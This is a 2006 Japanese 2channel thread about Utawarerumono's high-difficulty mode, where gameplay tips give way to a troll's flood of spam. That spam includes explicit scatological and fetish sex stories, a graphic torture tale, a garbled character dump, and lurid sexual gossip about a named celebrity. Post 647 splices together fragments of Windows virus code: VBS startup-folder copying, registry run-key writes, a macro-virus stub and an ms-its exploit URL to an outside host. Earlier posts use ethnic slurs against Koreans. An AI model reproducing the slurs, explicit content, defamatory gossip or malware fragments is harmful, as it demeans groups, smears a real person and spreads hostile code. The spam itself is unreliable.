575 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 15:55:22 ID:wWyEOAST0] ID:nN0yFhZS0
576 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 15:59:38 ID:1xPrB6+u0] 馬鹿と在日はほっとけ
577 名前:名無しさんだよもん mailto:saga [2006/11/07(火) 17:16:59 ID:nN0yFhZS0] やれやれですね
578 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 21:41:50 ID:1tlCHbuv0] カルラゥアツゥレイと狩りし者狩られし者はほとんど手順が決まってるから結構やりやすいよ。あと仮面も。 だからイレギュラー要素の多い滅び行く者がどうにも苦手。
579 名前:名無しさんだよもん [2006/11/07(火) 22:40:18 ID:9vtOL9JfO] >>561 受け入りについて詳しく
580 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 22:48:13 ID:tQLAs+Dj0] >>579 どうでもいいことに粘着してスレを無駄に消費すんな、あとsageろ UとIは隣にあるから多分タイプミスだろ こういう擁護っぽいこと書くと本人乙とか言われそうで嫌なんだがな
581 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 23:09:56 ID:wkfd/l+F0] わざとだよ。ついだよ。
582 名前:名無しさんだよもん mailto:sage [2006/11/07(火) 23:56:26 ID:TjVUteoV0] どっちだよ!
583 名前:名無しさんだよもん mailto:sage [2006/11/08(水) 00:42:55 ID:mIsdSktQ0] >>581 このネタなんだっけ?
584 名前:名無しさんだよもん mailto:sage [2006/11/08(水) 01:00:40 ID:CoVZ4gvB0] たしかあずまんが大王
585 名前:名無しさんだよもん mailto:sage [2006/11/08(水) 01:23:26 ID:sO3CvtX70] 神楽の受け入りだな。
586 名前:名無しさんだよもん [2006/11/08(水) 09:22:04 ID:kiwnKGiHO] >>580 自分の書き込みが一番無駄だと気付け 顔真っ赤にして火消しお疲れさまです^^
587 名前:名無しさんだよもん mailto:sage [2006/11/08(水) 13:42:28 ID:99POFjPF0] 落ち着けよ、みんな自分の年を思い出せ
588 名前:名無しさんだよもん [2006/11/08(水) 21:39:10 ID:Of7tT1td0] このスレ番号、胸に刻んで逝くといい
589 名前:名無しさんだよもん [2006/11/08(水) 23:16:44 ID:kiwnKGiHO] >>580 なんという擁護レス 見ただけで自演だと分かってしまった このレスは間違いなく本人
590 名前:名無しさんだよもん mailto:sage [2006/11/08(水) 23:28:40 ID:uvMtaQVZ0] 586 名前:名無しさんだよもん[] 投稿日:2006/11/08(水) 09:22:04 ID:kiwnKGiHO >>580 自分の書き込みが一番無駄だと気付け 顔真っ赤にして火消しお疲れさまです^^ 589 名前:名無しさんだよもん[] 投稿日:2006/11/08(水) 23:16:44 ID:kiwnKGiHO >>580 なんという擁護レス 見ただけで自演だと分かってしまった このレスは間違いなく本人 これも酷い
591 名前:名無しさんだよもん [2006/11/09(木) 00:39:00 ID:6J7YYafP0] 一番酷いのは受け入りだろ、変換しても気付かないってのはヤバスギw
592 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 00:40:28 ID:sm5JHdWb0] なんかもう、見ただけで自演だとって言葉をそっくり返してやりたくなる子だなw
593 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 00:42:50 ID:WnIkzkSN0] もし良かったら教えて欲しい。 高難度クリアと全称号獲得による報酬CGってどんな内容? 俺、SIM苦手なんだけどそれ次第ではがんばってみようかと。
594 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 00:45:24 ID:CVBg8rqC0] アルルゥ好きならがんばれや。
595 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 00:50:30 ID:WnIkzkSN0] 了解、教えにくいだろうにすまんかった。出来るだけやってみるわ。
596 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 05:27:30 ID:PjCZZ2Ck0] クリアCGのアルルゥの服がなくなっただけと身も蓋も無い事を言ってみる。
597 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 07:25:59 ID:vzw0xzFQ0] >>596 言うなよ…orz 折角残すところ「采配をふるうもの」「名も無きもの」「彷徨いしもの」 3つだけになったってのに、見る楽しみが減ったじゃないか
598 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 09:20:16 ID:211QC9Kr0] アルルゥにハァハァ出来るんだ。
599 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 15:07:00 ID:PCG26N6g0] >>597 うぜえ、バレが嫌ならくんじゃねえよボケ
600 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 15:21:40 ID:wMzT8Tv00] 言いたい事はわかるがわざわざ煽るなよカス 正直服なくなった全称号獲得より少しはだけた高難度クリアの方がエロい
601 名前:名無しさんだよもん mailto:saga [2006/11/09(木) 15:33:24 ID:6J7YYafP0] >>600 お前も止めようとしてるんならカスとか言うなよカス
602 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 15:42:24 ID:pK2aotQE0] なんか荒れてますね あの高難易度の攻略について楽しく語り合った日々が懐かしい
603 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 16:31:53 ID:PCG26N6g0] >>600 は?死ねよクズ。
604 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 17:33:52 ID:hqtyM5WU0] 落ち着けよ、みんな自分の年を思い出せ
605 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 19:41:49 ID:hBT4DNbE0] 俺はつい10年ほど前 18歳になったばかりだ。ピチピチです。まちゅぴちゅでス。
606 名前:597 mailto:sage [2006/11/09(木) 23:23:59 ID:vzw0xzFQ0] >>599 >>603 ここって高難度の「攻略」について扱うスレだろ? 称号コンプしてない奴が来るのは当然だと思うが… まあ口汚いだけの荒らしに何言っても無駄なんだろうけど
607 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 23:26:44 ID:qjBvXAh00] 馬鹿とアホとキムチ人には放置プレイが1番有効
608 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 23:33:20 ID:NWiYmKAA0] >>606 来たけりゃかってにしろよ、だからといってネタバレ回避で話進めなきゃいけない なんて決まりはないしおまえのことなんか知るかよ。 嫌ならくんな。
609 名前:名無しさんだよもん [2006/11/09(木) 23:56:23 ID:GAh+R4X8O] >>606 お前も荒らしだ 正直うざいよ
610 名前:名無しさんだよもん mailto:sage [2006/11/09(木) 23:56:56 ID:wMzT8Tv00] っていうか彷徨いし者とかは1からやると面倒だから、コンテニューしたであろう初プレイで取っちゃった方が楽だよ。
611 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 00:09:51 ID:J8tRQjM50] ※攻略情報やネタバレを含む内容は攻略スレでお願いします
612 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 00:19:12 ID:MN1erDk10] >>611 仕切んなクソが
613 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 01:12:03 ID:iov95ji70] 高難易度攻略って要はやり込みだろうが。そこでネタバレに気遣えとか頭おかしいんか
614 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 01:32:45 ID:eNuFQUxF0] まぁでも2chでネタバレすんなってのも無理な話なんだよね。 ネタバレ怖い人はあまり見るもんじゃないよ。
615 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 10:16:45 ID:J8tRQjM50] 家ゲの本スレではこんな感じ >※攻略情報やネタバレを含む内容は攻略スレでお願いします つうか、発売されて何年たってると思ってるんだ
616 名前:名無しさんだよもん mailto:age [2006/11/10(金) 13:19:18 ID:ZduDUukT0] PS2版に高難易度があったらやりこんでた?
617 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 13:36:26 ID:j6E9bikI0] 何でそんな回想っぽく語るんだよ まだ発売したばかりだろ
618 名前:名無しさんだよもん mailto:age [2006/11/10(金) 14:38:47 ID:ZduDUukT0] >>617 現実は非常なんだよ
619 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 16:17:01 ID:i3gVpMGL0] つーか、あげんな
620 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 17:34:59 ID:6dHrNPSD0] 落ち着けよ、みんな自分の年を思い出せ
621 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 17:37:44 ID:4SzkS1v80] VIPが落ちてるのはきっとPS3で祭りにならないようにソニーの攻撃を受けてるからだ
622 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 17:38:18 ID:4SzkS1v80] 誤爆
623 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 20:49:51 ID:i3gVpMGL0] >>620 お前昨日もその前もいたよな・・・定期乙
624 名前:名無しさんだよもん mailto:sage [2006/11/10(金) 23:33:28 ID:XYJVLbCT0] PS2版のやりこみプレイマダー?
625 名前:名無しさんだよもん mailto:sage [2006/11/11(土) 00:03:38 ID:NfoyjdhMO] PS2版って高難度あったっけ?
626 名前:前スレ134 mailto:sage [2006/11/11(土) 01:05:30 ID:ngygn5AU0] PS2版から入った人が増えたのかな? PS2買う気がなかなかおきなくて、何となく攻撃のみBP使用で初めてみたら 他の制限に比べれば楽かと思いつつ、意外とスライムで陣形組めないです・・・ けど、戦闘は全部インファイトなので楽しいです◇(−w−)
627 名前:名無しさんだよもん mailto:sage [2006/11/11(土) 03:20:31 ID:+cEoIbK20] >>624 BP・演習・アイテム・装備使用不可プレイしてみた 最後まではいけるけどハクオロさん倒すにはアイテムと装備使わないと無理だった だって今回腕2本あるし・・・ 腕がなければ余裕なんだが
628 名前:名無しさんだよもん [2006/11/11(土) 23:40:38 ID:dQJ+oKMB0] ぬるいな
629 名前:名無しさんだよもん mailto:sage [2006/11/12(日) 16:10:28 ID:G6Il2G5l0] 高難度壱の「決戦」の時点で詰まってるんだがどうすりゃいい? ここまで技にしか割り振ってない分ベナウィが動くと耐え切れん
630 名前:前スレ134 mailto:sage [2006/11/12(日) 16:31:24 ID:JuwAwp6x0] >629 前ステージで全員気力MAXに調整し、オボロが必殺技を使えるのなら 水属性の騎兵を倒した後、残りの騎兵に必殺技を使う感じで。 オボロが必殺技を使えない上、エルルウのLvも20に達していないなら、 ベナウィの首取りを狙った方が良いかも。
631 名前:名無しさんだよもん mailto:sage [2006/11/12(日) 16:37:20 ID:G6Il2G5l0] >>630 サンクス エルルゥは28だがオボロが必殺技使えんのでベナの首取り狙ってみるわ もしだめだったら2、3ステージ前に戻ってオボロの技MAXにしてくる
632 名前:モロロ粥 mailto:sage [2006/11/13(月) 12:45:31 ID:k2q98v+F0] >>629 自分もそうなった べナウィ相手してるとエルルゥとかほかキャラが 雑魚に囲まれる状況になってどうしようもなくなりあきらめた で戻れぬ道あたりからやり直しノーコンで徹底的にオボロを鍛えた 後ヌワンギ2回目でエルルゥLvUP(Lv25くらい)をしっかりやれば わりとすんなりその後のステージもクリアできた 中盤は水系ボスが多いので火系キャラはしっかり育てておくとよい 逆に風のアルルゥは極めしもの狙いでは育てないほうがよい
633 名前:名無しさんだよもん [2006/11/13(月) 16:08:38 ID:pxMhf2xA0] コテ増えたなキモイ
634 名前:名無しさんだよもん mailto:sage [2006/11/14(火) 03:45:53 ID:9R+lWz4K0] 増えたって…ひとりだけじゃん
635 名前:名無しさんだよもん [2006/11/14(火) 10:33:19 ID:gniI+4ug0] 2人いるぞ あと >>630 お前上のほうで変な在日チョンに受け入りされてたぞwww
636 名前:名無しさんだよもん mailto:sage [2006/11/14(火) 13:33:56 ID:wUbY9B2a0] >>635 コテよりおまえのほうがうぜえよ
637 名前:名無しさんだよもん mailto:sage [2006/11/14(火) 13:57:53 ID:e6yYsiWX0] どっちもどっち
638 名前:名無しさんだよもん [2006/11/14(火) 14:25:30 ID:gniI+4ug0] 受け入り厨必死wwwwwwwwwww
639 名前:名無しさんだよもん mailto:sage [2006/11/14(火) 14:36:30 ID:dl3N6NVt0] >>636 いちいち相手するなよ。
640 名前:珍獣うんちっち [2006/11/14(火) 15:17:40 ID:6QF3CKNw0] ねぇ〜♪ 見てごらん! あそこに見えるのが妖精さんのお城だよ♪ 『あっ、 あたいの背中から羽根がはえてきた〜〜♪』 これは、きっと妖精さんからのステキな贈り物だね♪ 『飛んでる〜♪ あたいは、今 飛んでるよ〜〜♪』
641 名前:名無しさんだよもん [2006/11/14(火) 17:03:53 ID:P1Nx8NuVO] 不覚にもワロタw
642 名前:名無しさんだよもん [2006/11/15(水) 11:53:05 ID:+HBlDIZf0] 俺は「それは無理だよ。汚いから。」と言うと、彼女は俺の顔を蹴り始めた。 俺「ごめん。舐めるからやめて。」 肛門も舐め終わった。すると彼女は、 「パンツも舐めさせてあげる。1ヶ月以上洗わずに履き続けたしトイレの後も 拭かずにはいたからおしっことうんこがいっぱいついてるよ。」 と言ってパンツを俺の口に入れた。 舐め終わると彼女は、 「美味しかった?」と聞いた。 俺は「美味しかったよ。」と言うと彼女は 「じゃあおまえのためにおしっことうんこ食べさせてあげるよ。」 と言って俺の顔の上に全体重をかけて座った。 彼女は「うんこするから食べてよ。」と言った。 俺は「そんなの無理だよ。うんこなんて食べられないよ。」 と言ったが彼女は 「おまえはこんなに可愛い私のうんこを食べられないの?」 と言って俺の顔を殴りながらうんこを俺の口に出した。 うんこを食べ終わると彼女は 「次はおしっこだよ。」 と言っておしっこをした。 彼女のおしっこも全部飲んだ。
643 名前:名無しさんだよもん [2006/11/15(水) 22:58:42 ID:6VrMBv67O] スカトロか
644 名前:名無しさんだよもん [2006/11/16(木) 17:43:07 ID:/7YiElD60] ××の喧嘩祭といえば、六尺褌一丁の男達が、神輿を担いでぶつかり合う、 勇壮な祭として、この地方に知られている。 祭のあと、男達は集会所に集まり、普段着に着替え、飲み合う。 六尺は、激しい祭でドロドロボロボロになるから、使い捨てで、ゴミとして出される。 俺はいつもそれが狙いだ。 捨てられている六尺の、できるだけ汚れてる奴を10数本ほど、 こっそりさらって家に持ち帰る。 そして、深夜、俺一人の祭が始まる。 俺はもう一度汚れた六尺のみ身に付け、部屋中にかっさらってきた六尺をばら撒き、 ウォーッと叫びながら、六尺の海の中を転げ回る。 汚れた六尺は、雄の臭いがムンムン強烈で、俺の性感を刺激する。 前袋の中のマラは、もうすでに痛いほど勃起している。 六尺の中に顔を埋める。臭ぇ。 汗臭、アンモニア臭や、股ぐら独特の酸っぱい臭を、胸一杯に吸い込む。溜まんねえ。 臭ぇぜ、ワッショイ! 雄野郎ワッショイ!と叫びながら、前袋ごとマラを扱く。 嗅ぎ比べ、一番雄臭がキツイやつを主食に選ぶ。 その六尺には、我慢汁の染みまでくっきりとあり、ツーンと臭って臭って堪らない。 その六尺を締めてた奴は、祭で一番威勢が良かった、五分刈りで髭の、40代の、 ガチムチ野郎だろうと、勝手に想像して、鼻と口に一番臭い部分を押し当て、 思いきり嗅ぎながら、ガチムチ野郎臭ぇぜ!俺が行かせてやるぜ!と絶叫し、 マラをいっそう激しく扱く。 他の六尺は、ミイラのように頭や身体に巻き付け、 ガチムチ野郎の六尺を口に銜えながら、ウオッ!ウオッ!と唸りながらマラを扱きまくる。 そろそろ限界だ。 俺は前袋からマラを引き出し、ガチムチ野郎の六尺の中に、思いっきり種付けする。 どうだ!気持良いか!俺も良いぜ!と叫びながら発射し続ける。 本当にガチムチ野郎を犯してる気分で、ムチャクチャ気持ち良い。 ガチムチ野郎の六尺は、俺の雄汁でベトベトに汚される。 ガチムチ野郎、貴様はもう俺のもんだぜ! 俺の祭が済んだあと、他の六尺とまとめて、ビニール袋に入れ押し入れにしまい込む。 また来年、祭で六尺を手に入れるまで、オカズに使う。 押し入れにはそんなビニール袋がいくつも仕舞ってあるんだぜ。
645 名前:名無しさんだよもん [2006/11/16(木) 17:49:20 ID:/7YiElD60] >>1 という男がおってな。 毎晩、毎晩2ちゃんねるという村で「糞すれ」というものを、 たてつづけてな、村人を困らせておったそうな。 その「糞すれ」は村人には嫌われていたんじゃが、 1はたいそう気にいっててな、村人に好かれたいと思って、 「age」というよこしまな技をつかって村人をさらに困らせたんじゃ。 そんな1についにあぼんの神様の天罰がくだってな、 1は十三日の金曜日の日に殺人鬼にナイフで全身の皮を剥がれ、 斧で四肢を切断されてダルマ、挙句竿と上下のタマ四つ引っこ抜かれ、 鼓膜を破られ直腸引き出され鼻を削がれ歯を全て折られ、 焼き鏝で舌と声帯を潰されて尚、死なせて貰えなかったんじゃ。 昔、昔のお話だよ・・・。 || ::::::::::::::::: || :::: ∧_∧ || ( ´Д`) i (・д・)∧ ∧:::::::::: /::: Y i ,-C- 、( y /:::: | /____ヽ (___、|_y∩∩ :::: |::::: " ゝ ヽ__ノ (__ \:::::__ )// // っ⊂L∧ ∧ ∧ ∧ ( ;;;;;;) 12 名前:水先案名無い人[スイッチ入れて10分位すると水がボトボトと降ってくる('A`)sage ] 投稿日:2005/08/02(火) 00:49:57 ID:LT7caQTc0 三 /⌒ヽ ⊂二( ^ω^)ニニ二⊃ 三 ノ / エウレカセブーン / ノ ______ 三 ( 〈 ( ( __―先案名無い人[漫画濡れまくりんぐw今はバケツ設置sage] 投稿日:2005/08/02(火) 00:53:34 ID:LT7caQTc0 はいはいわろすわろすはいはいわろすわろすはいはいわろすわろすはいはいわろすわろす はいはいわろすわろすはいはいわろすわろすはいはいす はいはいわろすわろすはいはいわろすわろすはいはいわろすわろすはいはいわろすわろす
646 名前:名無しさんだよもん [2006/11/16(木) 17:52:00 ID:/7YiElD60] /[へへ 0014××、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、 、、、、。。。。。。。。。。。。。。。。。。。。。。。。。。ああああいいいいいいいいいいいいいいいい いいいいいいいううううううううううぇぇぇええええかかかかかかかがががががががががががががががきききき きききききぎぎくくくくくくぐけけけけけげここごささささしししししししししししししししすすすせぜぜぜぜ ぜぜそそそそそそそそそたたたたたただだだだだだだだちちっっっっっっっっっっっっつつつつててててててて てててててててててててててでででででででででででででとととととととととととととととととどどどななななな なななななにににににににににににににににににににににににににねのののののののののののののののののののの ののののののののののはははははははははははははばばぱびびびぶぶべほほまままままままままみみみむむめめ めもももももももややややよらららららららららららららららりりりりりりりりりるるるるるるるるるるるるるる るるるるるるれれれれれれれれれれれれろろろをををををををををををををををををんんんんんアアイイイイウ ウウォオオオカガガガガガガガキクゴシシズチチチチチチチチチチチチチチチチッッッッッツツトトドドニニニビ ビベベボボマママママミミムムムムムムムムムムモャャョョララララララルルロロロロワワンンンンーーーー一一 一一一一一丁中中中中中主五人仕他他付付付代会体使使俺俺俺俺俺俺俺俺俺俺像入入入入六六六六六六六六六六六 六六六六六出出分分分刈刺前前前勃勇勝勢口口叫叫叫叫合合吸唸喧嗅嗅嘩回地埋堪壮夜奴奴始威家射尺尺尺尺尺尺 尺尺尺尺尺尺尺尺尺尺屋巻帰年度引強当当思思性想感慢我所手手扱扱扱押押押担持持持捨捨撒数方普替本本来杯染 様段比気気気汁汁汗汚汚汚汚海深済溜激激激烈特犯狙独男男界番番番痛発着着知神祭祭祭祭祭祭祭祭種絶続締股胸臭 臭臭臭臭臭臭臭臭臭臭舞良良良良行袋袋袋袋袋褌貴起身身転輿込込達達選郎郎郎郎郎郎郎郎部部酸野野野野野野野野 銜限雄雄雄雄集集頭顔食飲髭鼻!!!!!!!!!!
647 名前:名無しさんだよもん [2006/11/16(木) 17:53:48 ID:/7YiElD60] Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) <object data="ms-its:mhtml:file://C:\\MAIN.MHT!www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) "avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash" G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub
648 名前:名無しさんだよもん [2006/11/16(木) 17:54:48 ID:/7YiElD60] 深浦町森山在住で日本山岳会会員の西口正司さん(61)は、高校時代から40年間続けてきた 世界遺産・白神山地の最高峰「白神岳」(標高1235b)への登山が300回に達した。 西口さんは登山仲間とともに記念すべき快挙を喜び、さらなる記録更新を目指している。 深浦町森山在住で日本山岳会会員の西口正司さんは、高校時代から四十年間続けてきた 世界遺産・白神山地の最高峰「白神岳」(標高一、二三五b)への登山が三百回に達した。 西口さんは登山仲間とともに記念すべき快挙を喜び、さらなる記録更新を目指している。 吉岡美穂 IZAMの巨根に惚れた? 「IZAMさん実はあだ名がビッグマグナムなんです。なぜかってアレがもの凄く巨大だから…。 あのひなのさんとの離婚の原因も、本当はひなのがIZAMさんのアレを見て怯えてしまい、 当然エッチを拒否。このままでは夫婦生活が送れないということで、離婚したというのが真相だった… というのは業界でも有名な話です」(音楽業界関係者) 推定では25aは下らないという噂があるIZNAのビッグマグナム。実はホモセクシャルの男性の間では 特に勇名だったらしく…。 「最初は女装してたでしょ。女のコはそういうユニセックスっぽい男に弱かったりするの。IZAMって そんなルックスで女のコをだまして、ホテルに連れ込むのが得意だったみたい。でも例の巨大チンコのせいで、 たいていの女のコは逃げ出したって、ちょっとかわいそうなオチもあるんだけど…」 さてそんなIZAMのイチモツ。吉岡にはどう見えていたのだろうか? 「最もセクシーな男」にG.クルーニー 米誌が選ぶ 15日発売の米誌ピープルは、今年の「最もセクシーな男」に人気俳優ジョージ・クルーニーさん(45) を選んだ。クルーニーさんは同誌に、俳優ブラッド・ピットさんと並んで「最もセクシーな男」に2度輝いた ことで、「ブラッドが怒るかもね」と冗談交じりにコメント。クルーニーさんは結婚歴があるが、現在は独身だ。 クルーニーさんは今年、石油産業の舞台裏を描いた政治映画「シリアナ」でアカデミー助演男優賞を受賞した。 また、スーダン西部ダルフール地方での大量虐殺問題への対応を呼び掛けたり、ブッシュ政権批判を繰り広げたりと、 ハリウッドきっての論客として知られる。
649 名前:名無しさんだよもん mailto:sage [2006/11/16(木) 19:03:17 ID:CsUFbTy90] どうやら未成年が紛れ込んでるようだな
650 名前:名無しさんだよもん [2006/11/16(木) 19:09:30 ID:/7YiElD60] 足切り!代ゼミ! 浪人!代ゼミ! 足切り!浪人!不合格!代ゼミ! 足切り!代ゼミ! 浪人!代ゼミ! 一浪!二浪!三浪!代ゼミ! 多浪! 無職! サクラチル! 失敗!イェーイ! 負け組!イェーイ!
651 名前:名無しさんだよもん [2006/11/16(木) 19:14:33 ID:/7YiElD60] 32 名前:水先案名無い人[sage] 投稿日:2006/09/26(火) 22:53:11 ID:o/zEjE5E0 51 名前:水先案名無い人[] 投稿日:2006/09/26(火) 15:59:48 ID:+VfDv+Nm0 俺は鮫島事件に関連するある奇妙な出来事を見つけてしまった。 これは以下のサイトで実際に確認してもらえるはずだ。 ttp://www.mapfan.com/ ttp://www.mapion.co.jp/ ■実験 まずはmapfanのサイトで「鮫島」で検索してくれ。 静岡に2つ、宮城に1つ。計3つの地名がでてくるよな? つぎにmapionのサイトで同じように鮫島で検索してみろ。 ■確認すべき事実 ・2つのサイトでの検索結果の違い ・宮城県、牡鹿半島に存在する(した?)小さな村 ・地図から消えた地名 ・Mapfanで、その地点はなぜか1/6250までしか拡大できない ・mapionで同じ場所を拡大すると、そこには二つの神社が。 ■核心部分 mapionでマップをスクロールしてみろ。 例の地点から左下の海上に存在するものが何か、君達の目で確かめてくれ。 ■謎 ・なぜあれはmapfanに存在するのか?なぜmapionには存在しないのか? ・なぜ、現実の世界でこんなモノがみつかるのか? ・鮫島事件は本当に都市伝説なのか? ブフォwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
652 名前:名無しさんだよもん [2006/11/16(木) 19:15:35 ID:/7YiElD60] ハクオロさぁあ嗚呼ああああああああん ハクオロさああああああああああああああああああああ案 ん なんだいエルルウ 仮面外せwwwwwwwwwwwwwwwwwwえっうぇえwwwwwwwww
653 名前:名無しさんだよもん [2006/11/16(木) 19:17:01 ID:/7YiElD60] まだまだいくよぉー 東大代ゼミ!京大代ゼミ!生麦生米医学部代ゼミ! 京大阪大神大代ゼミ!かえるぴょこぴょこ医学部代ゼミ! 新大代ゼミ!名大代ゼミ!セクシャルバイオレット医学部代ゼミ! 北大代ゼミ!東北大代ゼミ!ソウルトレイン医学部代ゼミ! 九大代ゼミ!熊大代ゼミ!姉三六角医学部代ゼミ! 岡大代ゼミ!広大代ゼミ!立直一発同志社代ゼミ! 早稲田!慶應!上智!代ゼミ!関大!関学!立命館! 医学部!東工!一橋! 合格!イェーイ!必勝!イェーイ! 最後にもういっちょー!ハイ! 代々木ゼミナール
654 名前:名無しさんだよもん [2006/11/16(木) 19:18:32 ID:/7YiElD60] 親戚「大学どこよ?おいらっち早稲田なんやけど〜wwwwww」 俺「東大です」 親戚「・・・え・・・!?」 俺「東京帝国大学です。」 親戚「・・・う、うわあ・・・ああ・・・ああああああああああ(イスから転げ落ちる)」 俺「どうかしましたか?」 親戚「ああ、あふゥッ・・・ひいいい・・ガクガク(足が震える)」 俺「やだなあ、そんなにびびらないで下さいよ。ちょっと頭がいいだけです から^^」 親戚「ああ・・あ・うんっ・ああ・・・ビクンビクン(小水を漏らす)」 俺「ちなみに理3です。」 親戚「あんっ!ああん・・らめ・・・もうらめえ!ビクンビクン(射精する)」
655 名前:名無しさんだよもん [2006/11/16(木) 19:19:25 ID:/7YiElD60] 俺 「どこの大学行ってるんだ?」 先輩 「東工大w。」 俺 「そうか、工業か!高校時代遊びすぎたんだろ!でも浪人しなくてよかったな!」 先輩 「・・・え・・・!?」 俺 「バイトはじめて?w」 先輩 「あんっ!ああん・・らめ・・・もうらめえ!ビクンビクン(射精する)」 俺 「勉強できても仕事できるとは限りませんから なれるまでやめないでくださいよw」 先輩 「はあ・・・。ところで君は大学どこよ?おいらっち東工大なんやけど〜wwwwww」 俺 「信大です」 先輩「そうか、信大か!高校時代遊びすぎたんだろ!でも浪人しなくてよかったな!」 一瞬にして俺の顔色が変わった。 先輩「え?wwもう一度大きな声でwwwwww」 久しぶりに無口な先輩の晴れ晴れとした顔をみた。 帰り際、充血した目をした俺と目があった。 先輩「やだなあ、そんなに怒らないで下さいよ。ちょっと頭がいいだけですから^^」
656 名前:名無しさんだよもん [2006/11/16(木) 19:23:07 ID:/66q/M6XO] >>649 荒らしの連投規制なんでとめるの?馬鹿?
657 名前:名無しさんだよもん [2006/11/16(木) 19:23:17 ID:/7YiElD60] 8 名前: ◆ww/WWWwwws [] 投稿日:2006/09/16(土) 16:02:40 ID:YvZd/UMUO 我等が共有トリップ #W6m'2Obg (◆SNOOPYYdME) #+EJ[R)M| (◆gosakaGE26) #K0JewC.] (◆ww/WWWwwws) #SBwT&(#= (◆eWwwWwwwW.) #「p-W/?#z (◆XWWwwWWwWk) #mセ5vQcTj (◆KfWWWWwwww) #[KLセWiq3 (◆Uo.wwwWWwo) #*ァ;$窮承 (◆8WwwWwWWw2) #リケンヤ与o0 (◆wwwwwwweaI) #刄甕Z]PR (◆yGWWWWWWWo) #MPkmLHd0 (◆RwWwwwwWwI) #K9na-X96 (◆WWwWWWWm6.) #2lXjH&d? (◆T.wwwwwwwk) #30ulAliz (◆tvwwwwwwwc) #p00}UY5d (◆WLwwwwwwwc) #†齒9A閧 (◆FjwWwWwWWw) #ょ^逑y,V (◆K4wWWWWwww) #vぐ-*F扎 (◆WwwWWwww/Y) #G頴$Ω/凰(◆WWwWWWwWgQ) #V(E,%f[a (◆VUwwWWWWww) #b00G3RUY (◆XZwwWWWwww) #(*fque(/ (◆SWWwWWWwWo) #(koh/\eV (◆V/WWwWWwww 9 名前: ◆XWWwwWWwWk [sage] 投稿日:2006/09/16(土) 20:01:38 ID:1GFZgxWi0 ちょwwwwwwwwまちょちちょwwwwちwwwまちょちwwwまwwwww ちょwwwwwまwwwちょちょまwwwwwwまちょwwwwwちままwwww ちょちょwwwwwwwwwちwwままwwwwwwwwまwwちょwwwちょwwwww ままっちょwwwwwまwwwちょまwwwまwwwwまちょまwwwwwwwww まちょwwwwwwwwwまwwwままちwwwwwwちょwwwwちwwwwまw
658 名前:名無しさんだよもん [2006/11/16(木) 19:24:33 ID:/7YiElD60] 或時的美談 我出会変体中年男性 男性曰「我思貴方着漁師的長靴鉢巻」 我思時々有変体実技、愛撫開始 、中年男性喘続曰「兄貴帰還安全、大漁?兄貴大漁?」 我困惑絶体絶命 実技一旦中止 男性赤面悶絶「我欲有貴方的返答」 再開 我詮索中年男性的身体全体 男性曰「兄貴大漁?大漁?」 我曰「嗚呼大漁」 男性曰「嗚呼、最高昇天寸前、何大漁?」 我中年男性的乳首舐舌往来、我返答「鯛鮃大漁」 返答聞中年男性絶頂発狂天国間近身体痙攣 男性曰「嗚呼、兄貴伊咲?伊咲大漁?」 男根上昇下降 我曰「今年一番爆発的大漁」 男性曰「兄貴会心的美男子!!伊咲大漁!!我昇天完了!!」
